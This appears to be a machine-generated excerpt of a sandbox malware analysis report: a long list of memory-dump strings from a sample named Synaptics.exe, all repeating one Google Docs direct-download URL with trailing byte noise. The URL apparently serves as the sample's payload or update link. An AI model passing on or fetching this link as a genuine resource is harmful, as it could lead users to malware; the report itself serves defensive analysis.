Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUS1
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUT=
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054D4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV9Z
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWI
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWw_
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXMu
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXrX
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY(9
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYA6
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYC
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYW9
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYp
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYuY
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ.
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZqZ
Source: Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_vW
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada(
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada2
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada=
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaW
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadadmob
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadapq
Source: Synaptics.exe, 00000003.00000002.2068898665.00000000054D4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb9
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb=
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbB
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbG
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbdn.d
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbl
Source: Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcaptc
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcatio
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadceFk
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadceq
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadclien:)
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.co
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.co6
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom:i
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcpcdnt)
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcrzm
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcs-cn
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcting
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcws
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddmob
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddo
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddr
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.ca
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade;
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeA
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeL
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeO0
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeV
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadearch
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadectin
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel%
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelle
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem.j
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem9
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden)
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenA
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenet
Source: Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetleniyor...
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenfi
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyoP
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenvh
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadep
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloader
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadervic
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet6k
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetu
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf3
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadflighB)
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfq
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg.
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgC
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgl
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadglQ:
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoo.gn)
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiH
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadic5:
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadid.co
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadified
